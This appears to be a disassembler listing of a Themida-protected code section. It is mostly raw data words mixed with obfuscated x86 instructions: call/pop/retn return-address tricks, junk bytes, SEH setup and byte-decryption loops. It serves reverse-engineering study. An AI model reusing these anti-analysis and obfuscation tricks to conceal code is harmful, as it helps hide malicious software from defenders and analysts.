2F7E70BFh, 30505F6Ch, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9B7B9E0Eh dd 13B3C4D3h, 9D894316h, 6131CD9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 4AC35141h, 1C48FE30h, 1B19BD8Bh dd 0BD830613h, 6133055h, 91850F03h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0CEECC355h, 2BFE659Fh, 0C454BD83h, 0F000616h, 46384h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 11E920E1h, 0AC000000h, 0DE7328C0h, 0A57FA2FDh dd 92E231A7h, 4D9F6644h, 0C454B5FFh, 6A0616h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 8AF105C3h dd 0E38166F4h, 95FF3EF2h, 6130969h, 0C448B58Bh, 6A0616h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F55B4CC3h, 15E68160h, 8B7D37F4h, 8B6661DAh, 106C7FBh dd 6A000100h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 81E4C353h, 4EFC0FF3h, 14E85018h dd 0E3000000h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch dd 8BB42FC4h, 34895BD9h, 54B5FF24h, 660616C4h, 0FF6A54BFh dd 13322995h, 14E806h, 45F30000h, 0DAD4BEBDh, 0FB360DAh dd 0B173019h, 9CFAB2D7h, 895F4308h, 13093585h, 48B58B06h dd 8B0616C4h, 13063185h, 0BE806h, 0B92D0000h, 56740744h dd 0E37A7015h, 0FE8B66BCh, 39B5295Fh, 89061312h, 0C486h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0BCE930EBh, 870Fh, 81660000h, 8BC63BCBh dd 131BBD95h, 0DE8B6606h, 0F04C283h, 0B70FDFB7h, 205089FEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 14C35141h dd 0F8B70FDCh, 148ABF66h, 0D8E3858Dh, 6A0616h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 463201C3h, 483FFE11h, 89DABF0Fh, 0B886h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0F13B84C4h, 0F9F96060h, 0D15BD89h, 6A0613h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E7C35646h, 0C4C3A563h dd 0D4F9EB81h, 0B5FF085Dh, 616C454h, 9595FFF8h, 8B06131Eh dd 1325299Dh, 890F9606h, 4, 61585360h, 48E0F50h, 52000000h dd 965F6160h, 0F19D8B60h, 6606130Ah, 0FC37E881h, 54B5FF61h dd 6A0616C4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 3CD4C353h, 7DDD9667h, 0A59D8B2Dh dd 0FF061324h, 13214595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 3A2E624Ah dd 83D4915Ah, 131495BDh, 840F0006h, 1Ch, 1F37BB66h, 6E850h dd 99FA0000h, 182C75A7h, 895FF98Ah, 9D8B2434h, 6131719h dd 0C454B5FFh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 877A4CC3h, 0E498FF48h, 14E8EAh dd 950F0000h, 93D2FA70h, 0F25009B5h, 0E96FA035h, 7B9C3BC1h dd 9D016E31h, 6130559h, 99BD8B5Fh, 0FF06130Ah, 1305AD95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 86EB1F2Bh, 0D9F7C487h, 0D381CD53h, 56CE275Ch dd 0C454B5FFh, 9D8B0616h, 613051Dh, 120995FFh, 0BB660613h dd 0BD8379D5h, 6130511h, 0C2840F02h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 591DC356h, 80AFF9EFh, 0E85F096Ah, 0Ah, 0A55F7D87h, 622F02C7h dd 0B5318AA1h, 6132B35h, 14E85Fh, 11450000h, 59CAAF63h dd 3637E17Eh, 509F138Ah, 307EC688h, 9D238082h, 6130A75h dd 55858B5Fh, 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0C410C356h, 1DE9031Eh dd 57D99E3Ch, 0C65B3AB7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FE4EDC3h, 0E8Fh, 0C8816000h dd 12811C47h, 8A0Fh, 1610000h, 132FA5B5h, 5185C706h, 6131Eh dd 0E8000000h, 11h, 144535Ah, 0A7F5F116h, 972EC9C1h, 5347AA36h dd 0E1BB6623h, 0B5295BF1h, 6132ED9h, 0FFF316E9h, 11E9FFh dd 3B8B0000h, 15117FEEh, 71FB26D1h, 30630476h, 60341D71h dd 1E018D89h, 14E90613h, 30000000h, 6FD3D4FDh, 0FD216162h dd 0A79B1F1Bh, 79E63817h, 61C674F7h dd 0CFBBC18Bh, 8D6773BFh, 131EA985h, 8880F06h, 60000000h dd 2A258D89h, 90610613h, 5830Fh, 66500000h, 505FFE8Bh dd 6DF5BF66h, 0C840F90h, 0F000000h, 680h, 99BD8900h, 0E806130Bh dd 13h, 0A109449Bh, 98B052E7h, 0EAAE658Fh, 0E0F448C6h dd 0F0931DCh, 6A5BDFB7h, 0FEB70F00h, 9529006Ah, 6130A99h dd 2C4858Dh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0C083C9C3h, 85850105h, 5006130Dh dd 310F5250h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0EAFEC251h, 8486D6B6h dd 8D89C1ADh, 6133231h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD29F5C3h, 61329ADh dd 0BD03006Ah, 61307F5h, 7F195FFh, 81660613h, 8D1B44D7h dd 16A36A8Dh, 23D1FF06h, 130A6D9Dh, 3DBD8306h, 1061317h dd 60850Fh, 820F0000h, 1, 6A026AF8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F0EDC355h dd 0D0DFA4D4h, 9F04E2BBh, 219DBD8Bh, 9D8B0613h, 6133091h dd 9E950h, 2C110000h, 0ABD6E574h, 89292D26h, 9D8B2404h dd 6130F21h, 1E9595FFh, 0BD890613h, 6132C8Dh, 2AE9DE8Ah dd 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 61802CEh adc bx, 43ADh mov edi, [ebp+6132A05h] mov ebx, [ebp+6132821h] lea eax, [ebp+6168F5Eh] cld push eax mov edi, 763631B5h mov [esp], eax push ecx pusha mov cx, di mov edx, 7FC1CC02h popa pop edi push large dword ptr fs:0 push 0 push edx call sub_5CC5DE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC5DE proc near ; CODE XREF: Themida_:005CC5D6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CC5DE endp ; --------------------------------------------------------------------------- dw 4C66h ; --------------------------------------------------------------------------- mov edi, esi mov large fs:0, esp push 0 push eax call sub_5CC604 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC604 proc near ; CODE XREF: Themida_:005CC5FCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5CC604 endp ; --------------------------------------------------------------------------- cmpsd sbb eax, 0DAB70F51h pop ebx jnp loc_5CC629 push edx xor edi, 2F311485h pop edi loc_5CC629: ; CODE XREF: Themida_:005CC61Bj inc dword ptr [ebp+61316D9h] mov edi, [ebp+61310D9h] sub [ebp+61307CDh], ebx push 0FFFFFFFFh sub di, 0DEC4h push dword ptr [ebp+6132CA1h] jle $+6 call dword ptr [ebp+61331ADh] jmp loc_5CC72B ; --------------------------------------------------------------------------- db 8Bh, 9Dh, 0EDh dd 0B0061301h, 0B70F5000h, 70E65FFAh, 0F88B71E4h, 830F613Ch dd 0B7h, 0AC99589h, 0B60F0613h, 958957C8h, 613309Dh, 6BA5Fh dd 8E0F0000h, 4, 3BFBB66h, 0BF0FC18Bh, 4E8C1FBh, 0EE9h dd 0B0593400h, 53AC1D99h, 3D6FB4F6h, 667BE89Eh, 2BFCE2F7h dd 0BEECBBC8h, 0D18B7E6Eh, 6AE9h, 0BDBD2900h, 8B061311h dd 131ECD9Dh, 50858B06h, 5247554Ch, 5B2DCB80h, 8007C083h dd 0C08334CBh, 6BDFBF00h, 0B70F298Dh, 0FD03BDBh, 883h dd 35E900h, 0DB800000h, 0FF8D8B65h, 89FFFFFFh, 131711BDh dd 1E18306h, 1D840Fh, 0B5090000h, 6130A51h, 0FFFFA583h dd 0BFFEFFFFh, 455E402Ah, 4C509589h, 0E94755h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5CC72B: ; CODE XREF: Themida_:005CC654j lea esi, [ebp+6177FC7h] push 0 push eax call sub_5CC73C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC73C proc near ; CODE XREF: Themida_:005CC734p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5CC73C endp ; --------------------------------------------------------------------------- dd 8D99003Dh, 2F04DB81h, 6A75A1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 5CC35040h, 0A71181F7h, 0DBB13F7Dh dd 655BD8Bh, 95FF0613h, 6130DA9h, 3E56BB66h, 0FABB9h, 0B19D8900h dd 83061314h, 35B7FCE1h, 6EE4BBFCh, 0B86DB3h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0C3BBC353h, 0CF582182h, 7E8413Ah, 91000000h dd 0B69B70DCh, 810FB8A5h, 5, 6FF78166h, 0D22B5F51h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 54C35747h, 0F7B1A3ECh dd 0BD8B63BBh, 0C233AD4Ch, 0D003E8D1h, 7504E983h, 55006AF4h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 8B7871A5h, 8166C507h, 0D166BE7h, 88h, 165B589h, 958B0613h dd 6131BBDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 60C35141h, 0FA64A200h, 68D6105Eh, 8820F90h, 52000000h dd 0A58529h, 8B5B0613h, 1318DD8Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7F12BC30h dd 0A19D8955h, 50061319h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 28939761h, 4690456Ch, 3880F07h, 80000000h dd 840F06DFh, 5, 553C62BFh, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0FC189905h dd 284C511Dh, 7299D09h, 9D8B0613h, 6132B99h, 1D1DBD83h dd 0F000613h, 8484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 66352C40h, 0B88B9FBBh dd 0 ; --------------------------------------------------------------------------- push edx mov edi, eax pop ebx mov [ebp+6130095h], ecx lea ecx, [ebp+6134F8Dh] push 0 push edx call sub_5CC973 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC973 proc near ; CODE XREF: Themida_:005CC96Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5CC973 endp ; --------------------------------------------------------------------------- sahf mov di, 0D33Bh jmp ecx ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CC995 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC995 proc near ; CODE XREF: Themida_:005CC98Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5CC995 endp ; --------------------------------------------------------------------------- cmpsd sub [edi], eax inc ebx mov ecx, 8AAA102h adc [ecx+2F0775CBh], eax and eax, [ebx+133055BDh] push es add [edi], cl test ah, dh add eax, [eax] add [ebx+1310A99Dh], cl push es cmp dword ptr [ebp+6133055h], 1 jz loc_5CCDC3 push 0 push eax call sub_5CC9E0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC9E0 proc near ; CODE XREF: Themida_:005CC9D8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CC9E0 endp ; --------------------------------------------------------------------------- adc eax, 0F84E3C6Dh xor [eax-75h], ah retf 9589h ; --------------------------------------------------------------------------- or eax, 61061332h cmp dword ptr [ebp+6133055h], 3 jbe loc_5CCD8D pusha push 0 push edx call sub_5CCA1A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCA1A proc near ; CODE XREF: Themida_:005CCA12p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CCA1A endp ; --------------------------------------------------------------------------- aad 9Dh shl edi, 32h mov esp, 104C3994h xor [ebp+613094Dh], edi mov cx, ds push 0 push ecx call sub_5CCA48 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCA48 proc near ; CODE XREF: Themida_:005CCA40p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5CCA48 endp ; --------------------------------------------------------------------------- dd 0E781857Eh, 5B830CEh, 8004E180h, 8B0F33CBh, 6, 0B41BD8Bh dd 0C90A0613h, 11F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0B327D9C3h, 918D093Ah dd 8B061312h, 132BB985h, 4BDBBF06h, 85333E4Eh, 61305B9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 94C35242h dd 2EF86C4Dh, 46780610h, 9810F50h, 60000000h, 11AE41B8h dd 6129B464h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9E36C352h, 816AC853h dd 0FE9006Ah, 5B000000h, 8B9E9E3Bh, 2113D4BDh, 0EB3DEA7Fh dd 9F68E8ECh, 0E86E5172h, 0Ch, 0F7FA2F2Ah, 0CD4019BFh dd 0B5B06591h, 0F84CBF66h, 2434815Fh, 6E4E7160h, 0EAF78166h dd 3D95FF08h, 8106130Ah, 0A09D5D3h, 54858910h, 6A0616C4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0FE74C351h, 1BAE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0D114FE64h dd 4C858B17h, 660616C4h, 0C7F88Bh, 18h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CC35242h, 2C355654h dd 468F23D8h, 5459D89h, 0B58B0613h, 616C450h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DEC35747h, 66B29091h dd 858BFB8Bh, 6132A55h, 2835B589h, 6890613h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 5DC35040h, 130EDE52h dd 0DE9h, 369DA800h, 0B17D9950h, 86FE4689h, 858B73FCh dd 6132BB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0E9C35141h, 8166F17Eh, 89E7ECC3h, 6A0446h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F8E9E4C3h, 3F97FD85h, 0FEB70F2Bh, 12458589h, 9D8B0613h dd 6131065h, 0B193BB96h, 66504120h, 96CD71BFh, 0B5FFD98Bh dd 616C44Ch, 0B0DB8166h, 5200682Bh, 0BB66C863h, 48148BAh dd 0BBB1FF24h, 8D86B337h, 16C45485h, 2BF6606h, 658589A8h dd 90061332h, 0F7BF6650h, 6A90BFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 44F8F2C3h, 0A6236194h dd 138FBFDBh, 95FF4B01h, 6130A3Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0B9C35747h, 0AEF67D7Ch, 311246B5h dd 1DB501E7h, 61061321h, 85C74CB7h, 6133055h, 3, 8E9h dd 3686E800h, 117C2D4Bh, 54BD8354h, 616C4h, 33840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BD8BE2C3h, 6130959h, 27E9h, 6870F00h, 8B000000h, 1330859Dh ; --------------------------------------------------------------------------- push es loc_5CCD8D: ; CODE XREF: Themida_:005CCA08j ; Themida_:005CCDA4j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CCD8D jmp short loc_5CCDDE ; --------------------------------------------------------------------------- loc_5CCDA8: ; CODE XREF: Themida_:005CCDBFj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CCDA8 jmp short loc_5CCDDE ; --------------------------------------------------------------------------- loc_5CCDC3: ; CODE XREF: Themida_:005CC9CFj ; Themida_:005CCDDAj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CCDC3 jmp short $+2 loc_5CCDDE: ; CODE XREF: Themida_:005CCDA6j ; Themida_:005CCDC1j mov eax, eax mov [ebp+6132551h], edx push 0 push edi call sub_5CCDF1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCDF1 proc near ; CODE XREF: Themida_:005CCDE9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5CCDF1 endp ; --------------------------------------------------------------------------- db 0B2h, 22h, 5Fh dd 2FF96FB0h, 602618D3h, 12E8h, 6CCD7D00h, 88FDFC78h, 0AB50184Dh dd 0CF6DB88h, 60A0F35Ch, 95895961h, 6130EA9h, 55BD8361h dd 3061330h, 424850Fh, 0E3810000h, 9AAB3A7h, 0C454BD83h dd 0F000616h, 41184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 9F3E886h, 132F8D95h, 54B5FF06h dd 890616C4h, 1332319Dh, 6995FF06h, 6A061309h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 6662C350h, 0D973EF81h, 0C448B58Bh, 0EF810616h, 0E96E374h dd 106C7h, 89FC0001h, 130911B5h, 0BB669606h, 0E850983Ah dd 5, 4F5AC06Eh, 6A965FFEh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 8B58C351h, 0B85D627h dd 0A449C6EDh, 0ED9D8B50h, 5B06130Eh, 0C454B5FFh, 4EBB0616h dd 0FF4C7858h, 13322995h, 88A0F06h, 0F000000h, 28Eh, 8BF88B00h dd 16C448B5h, 31858B06h, 6A061306h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4895C352h dd 70BFFCFDh, 897EF988h, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 31CDC766h dd 1312398Dh, 0BD958B06h, 6A06131Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 3B23C355h dd 6EB95786h, 0E9326C5Fh, 9, 5A703542h, 0FAD0B85Fh, 0D19D8B32h dd 83061319h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 5429C2C3h, 5BC791Dh, 0BE9h, 51D0800h dd 0BE6C8BDFh, 37DCBEF5h, 6A205089h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6C33C353h dd 60E45EA6h, 0A0F657DDh, 0ED858960h, 8B061304h, 132D298Dh dd 858D6106h, 616D8E3h, 0AE70BB66h, 0B88689h, 0BD0B0000h dd 6132FA5h, 2EB9BD8Bh, 6A0613h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 82C35646h, 715B589Dh, 51BD8BD6h dd 0FF061316h, 16C454B5h, 51DB8106h, 0FF5D92CDh, 131E9595h dd 0DE906h, 140F0000h, 124D8AB0h, 0D3959886h, 9635DDDEh dd 208C68BBh, 0FE8507Dh, 4000000h, 0BBC66F17h, 37725348h dd 0F4659D11h, 0D98B500Fh, 0BD8B965Bh, 613193Dh, 0C454B5FFh dd 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 95FFABC3h, 6132145h, 1495BD83h, 0F000613h dd 3884h, 6D9D8B00h, 5006131Fh, 1E418589h, 505F0613h, 4890Fh dd 0BF660000h, 3489EBB1h, 11E924h, 8E7E0000h, 20DEEC21h dd 951F952Ch, 0B9C48100h, 819FBF4Dh, 0DBECD0D3h, 54B5FF76h dd 6A0616C4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9261C351h, 0CF55401h, 307D3EE5h dd 118E0Fh, 0CE90000h, 64000000h, 0FF3A9579h, 6547C9Ah dd 0F877FB4h, 681h, 79BD8900h, 0FF061323h, 1305AD95h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 8596DF3Ah, 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BB6629C3h, 9D8B1CCCh dd 6132C61h, 120995FFh, 89F90613h, 130B7D95h, 11BD8306h dd 2061305h, 65840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0CBD97FC3h, 0C220147Fh dd 9D2B97F7h, 61314F1h, 18F9BD29h, 858B0613h, 6130F55h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D5C35343h dd 4CD86FE9h, 8BD0EB61h, 130B8DBDh, 0C606h, 0C7FE8B66h dd 131E5185h, 6, 178C0F00h, 0E9000000h, 12h, 38B54071h dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 0D8E9A5D7h, 8BFFFFF3h dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0D70FB1CBh, 3E22CB86h, 0E9602C9Ch, 13h dd 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh dd 0Ch, 0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 1F618D01h, 615B0613h dd 0A9858DF5h, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 9042C357h, 0AE850h dd 46520000h, 911DBCB1h, 961D0BD5h, 0EE8h, 18468B00h, 63214F23h dd 17D3BC7Fh, 6056A674h, 905B5F61h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 12C35747h, 66674C16h, 66006A08h dd 6AEE98BBh, 49D78100h, 8D5F3E0Dh, 18121185h, 5D9D8B06h dd 83061301h, 0BF6605C0h, 60900D4Bh, 0EE8h, 0DE77EA00h dd 0CC25E4D9h, 0F1844AEEh, 0B1E53AFBh, 0EA8A5E08h, 52505061h dd 0A7DFE7BFh, 5A310F47h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1BB755C3h, 0BD898CA9h dd 6132269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0AD0ED0C3h, 2132AAB3h, 0B340D781h dd 6A57CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0D9C35040h, 0F195FFA5h, 0B3061307h, 0B8F0FDEh dd 0F000000h, 587h, 0F31BB00h, 8D8D31A3h, 616A36Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 34DAD632h dd 0B70F5600h, 0D1FF5BFEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0CDC35141h, 173DBD83h, 0F010613h, 8A85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0DDBD3337h, 6A061331h, 45BB6602h, 0CDBF90DDh dd 504C669Bh, 0C8F0Fh, 8C0F0000h, 6, 310F5250h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 4676C353h, 13E9231Dh, 0C8000000h, 5C5D065Fh dd 109415D2h, 0EE98594Ch, 68F4B03Eh, 0DB8137AEh, 1464AD93h dd 1E9595FFh, 0F0BB0613h, 0E92CDA72h, 0D90h, 0E8h, 0ED815D00h dd 618121Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0D3C35141h, 1E99BD8Bh, 0F88B0613h, 8F5E858Dh, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 1800B6C3h, 5090D9CDh, 7CBF6650h, 89905FCAh, 131569B5h dd 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CD557 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD557 proc near ; CODE XREF: Themida_:005CD54Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CD557 endp ; --------------------------------------------------------------------------- db 0Ch dd 0ABE2E03Ah, 8BED8EF2h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FF41C355h, 1316D985h, 0BFFF6A06h, 2562912Fh, 20B9B5FFh dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 2B0173C3h, 0EC4617C5h, 56736375h, 287DBD8Bh dd 0FF5F0613h, 1331AD95h, 130E906h, 9D030000h, 6131381h dd 816600B0h, 0E65DDEEFh, 3880F70h, 80000000h, 71E47CD7h dd 1B99B589h, 613C0613h, 108830Fh, 0FF50000h, 5F53C8B6h dd 6BAh, 29858900h, 8B06132Ah, 0C99D89C1h, 6006130Ah, 6EB3B866h dd 91E88166h, 0E8C1613Eh, 1111BF04h, 0F7667628h, 0B0BF66E2h dd 0C82BF53Ch, 9D01D18Bh, 6130E89h, 0D698D89h, 0BFE90613h dd 0E8000000h, 12h, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h dd 75743C53h, 8B5BFC5Bh, 4E4985h, 6850F44h, 89000000h dd 130E2995h, 837AB706h, 9D0B07C0h, 61307E1h, 6600C083h dd 3B50A6BBh, 13830FD0h, 89000000h, 131FF585h, 70E906h dd 850F0000h, 2, 8D8BF88Bh, 0FFFFFFFFh, 0E2B0BB66h, 38B0Fh dd 8B660000h, 1E183FEh, 4C840Fh, 85010000h, 613131Dh, 0FFFFA583h dd 8BFEFFFFh, 0ED9D29FEh, 8906132Bh, 4E4995h, 0D88B6644h dd 0BE8h, 0EFE95500h, 23512A09h, 62E0BA56h, 0EE860h, 5C090000h dd 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 61FE8B58h, 0E95Bh dd 0B58D0000h, 6178F72h, 6ADF8Bh, 95FFA4B7h, 6130DA9h dd 0E7B9FC8Ah, 8B000011h, 132BA59Dh, 0FCE18306h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5A09BF67h dd 405A7CBFh, 9D8BFC41h, 61331A5h, 0B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 261C9981h, 0CD3E3598h, 816614AFh, 0E98801E7h, 0Ch, 7B1EEC61h dd 63D6ED1Bh, 1F3AB5CAh, 0BAF88Bh, 0F000000h, 128Eh, 0DE900h dd 0A8820000h, 1894DDF7h, 0D6D36D31h, 0ADA69FB9h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0DD8AC350h, 3CA572C9h dd 89823AC6h, 1331C595h, 0CB816606h, 880D8112h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 8FB8C356h, 3B3DBA85h, 89F02428h, 130E7185h dd 5840F06h, 66000000h, 0F2F2D381h, 1BBD958Bh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 689D92C3h, 0EC6290A1h, 11BD8B11h, 66061300h, 